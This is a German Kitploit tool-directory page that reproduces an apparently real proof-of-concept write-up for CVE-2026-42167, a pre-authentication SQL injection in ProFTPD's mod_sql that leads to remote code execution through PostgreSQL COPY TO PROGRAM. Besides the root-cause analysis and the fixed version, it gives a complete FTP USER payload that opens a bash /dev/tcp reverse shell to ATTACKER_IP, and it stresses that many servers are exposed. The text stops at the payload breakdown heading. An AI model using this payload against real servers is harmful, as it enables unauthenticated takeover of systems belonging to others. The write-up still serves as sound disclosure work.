Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42167-PoC — # Pre-Auth RCE in ProFTPD über mod_sql is_escaped_text()-Umgehung (CVE-2026-42167) | Kitploit
Tools/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

# Pre-Auth RCE in ProFTPD über mod_sql is_escaped_text()-Umgehung (CVE-2026-42167)

Repository anzeigen
10vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42167 POC

Pre-Authentification Remote Code Execution in ProFTPD via mod_sql SQL-Injection

Autor: Van Glenndon Enad

Ursprüngliche Entdeckung: ZeroPath

Veröffentlicht: 1. Mai 2026

Schweregrad: Kritisch

CVSS v3.1-Score: 8.1

CVSS v3.1-Vektor: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2-Score: 7.6

CVSS v2-Vektor: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection)


Inhaltsverzeichnis

  1. Zusammenfassung
  2. Betroffene Software
  3. Beschreibung der Schwachstelle
  4. Ursachenanalyse
  5. Voraussetzungen
  6. Exploit-Kette
  7. Payload-Analyse
  8. Proof of Concept
  9. Auswirkungen
  10. Behebung
  11. Referenzen
  12. Offenlegungszeitplan

Zusammenfassung

CVE-2026-42167 ist eine kritische SQL-Injection-Schwachstelle vor der Authentifizierung im mod_sql-Erweiterungsmodul von ProFTPD. Ein Logikfehler in der Funktion is_escaped_text() ermöglicht es einem nicht authentifizierten Angreifer, die SQL-Zeichen-Escaping zu umgehen, indem er einen USER-Befehl mit einem Wert erstellt, der eine fehlerhafte „bereits maskierte"-Heuristik erfüllt. Das injizierte SQL wird direkt über PQexec() an die Backend-Datenbank übergeben, die gestapelte Abfragen unterstützt.

Wenn die ProFTPD-Datenbankrolle ein PostgreSQL-Superuser ist – eine häufige Fehlkonfiguration in Container-Bereitstellungen – erreicht die Injektion die COPY TO PROGRAM-Direktive von PostgreSQL, was zu nicht authentifizierter Remote Code Execution auf Betriebssystemebene als Systembenutzer postgres führt. Es sind keine Anmeldeinformationen, kein vorheriger Zugriff und keine Benutzerinteraktion erforderlich.


Betroffene Software

KomponenteVersion
ProFTPD≤ 1.3.9
Modulmod_sql + mod_sql_postgres
Behobene Version1.3.9a (veröffentlicht am 27. April 2026)
BackendPostgreSQL (RCE); MySQL / SQLite (nur Auth-Bypass)

ProFTPD ist ein weit verbreiteter Open-Source-FTP-Server. Laut Shodan existieren über 160.000 öffentlich zugängliche ProFTPD-Instanzen im Internet. Das mod_sql-Modul ist in Shared-Hosting-Control-Panels wie cPanel, Plesk, DirectAdmin, Webmin und ISPConfig üblicherweise aktiviert.


Beschreibung der Schwachstelle

Das mod_sql-Modul von ProFTPD unterstützt SQL-basierte Authentifizierung und Aktivitätsprotokollierung. Protokollformatzeichenfolgen können Substitutionsvariablen wie %U (Benutzername), %r (Remote-Host) und %m (FTP-Befehl) enthalten. Diese Variablen werden zur Laufzeit expandiert und in SQL-Abfragen eingefügt, die gegen das konfigurierte Backend ausgeführt werden.

Eine typische anfällige Konfiguration:

LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

In dieser Konfiguration wird der im FTP-USER-Befehl gelieferte Wert für %U substituiert und direkt in eine SQL-INSERT-Anweisung aufgenommen. Vor dem Einfügen wird der Wert durch is_escaped_text() geleitet, um zu bestimmen, ob ein Escaping erforderlich ist. Diese Funktion enthält einen kritischen logischen Fehler.


Ursachenanalyse

Die fehlerhafte Funktion is_escaped_text()

Die Funktion befindet sich in contrib/mod_sql.c und wendet die folgende Heuristik an, um zu entscheiden, ob eine Zeichenfolge „bereits maskiert" ist:

static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

Wenn diese Funktion TRUE zurückgibt, fügt sql_resolved_append_text() (Zeile 777) den rohen, nicht maskierten Wert direkt in die Abfragezeichenfolge ein. Der Wert wird dann von PQexec() in contrib/mod_sql_postgres.c (Zeile 1146) ausgeführt, das gestapelte (Multi-Statement-)Abfragen unterstützt.

Warum die Heuristik versagt

Die Heuristik sollte wahrscheinlich Zeichenfolgen erkennen, die bereits von SQL-String-Trennzeichen umgeben sind. Sie versucht jedoch nicht zu überprüfen, ob der innere Inhalt sicher ist – nur, dass keine zusätzlichen einfachen Anführungszeichen vorhanden sind. Das bedeutet, dass jede Payload, die:

  • Mit ' beginnt
  • Mit ' endet
  • Intern keine einfachen Anführungszeichen verwendet (z. B. stattdessen PostgreSQL-$$-Dollar-Quoting verwendet)

...die Prüfung besteht und unverändert in die SQL-Abfrage injiziert wird.

Injektionsablauf

FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

Voraussetzungen

AnforderungHinweise
mod_sql mit SQL-Protokollierung aktiviertMuss eine Pre-Auth-Variable wie %U protokollieren
PostgreSQL-BackendErforderlich für COPY TO PROGRAM RCE; MySQL/SQLite erlauben weiterhin Auth-Bypass
DB-Rolle ist PostgreSQL-SuperuserCOPY TO PROGRAM ist auf Superuser oder Mitglieder von pg_execute_server_program beschränkt
bash auf dem DB-Host verfügbarErforderlich für /dev/tcp-Reverse-Shell-Zustellung
NetzwerkerreichbarkeitDer PostgreSQL-Container muss den Angreifer auf dem Listener-Port erreichen können

Die Superuser-Bedingung ist in Container-Bereitstellungen häufig erfüllt, wenn der ProFTPD-DB-Benutzer über POSTGRES_USER=... im offiziellen PostgreSQL-Docker-Image erstellt wird oder wenn ein Administrator der ProFTPD-Rolle den Besitz der Datenbank gewährt.


Exploit-Kette

Schritt 1: Angreifer sendet manipulierten USER-Befehl (Pre-Auth, keine Anmeldeinformationen erforderlich)
        │
        ▼
Schritt 2: ProFTPD expandiert %U mit dem vom Angreifer kontrollierten Wert
        │
        ▼
Schritt 3: is_escaped_text()-Bypass — rohes SQL passiert unescaped
        │
        ▼
Schritt 4: PQexec() führt gestapelte Abfrage gegen PostgreSQL aus
        │
        ▼
Schritt 5: COPY TO PROGRAM führt Angreifer-Shell-Befehl als postgres-OS-Benutzer aus
        │
        ▼
Schritt 6: Reverse Shell / Datei-Exfiltration wird an den Angreifer geliefert

Payload-Analyse

Die Injektions-Payload wird über den FTP-USER-Befehl geliefert:

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

Verifizierung der Bypass-Bedingung

BedingungErfüllt?Grund
Beginnt mit '✅Erstes Zeichen ist '
Endet mit '✅Letztes Zeichen ist '
Keine inneren einfachen Anführungszeichen✅Innere Zeichenfolgen verwenden $$-Dollar-Quoting

Payload-Aufschlüsselung

Tool herunterladen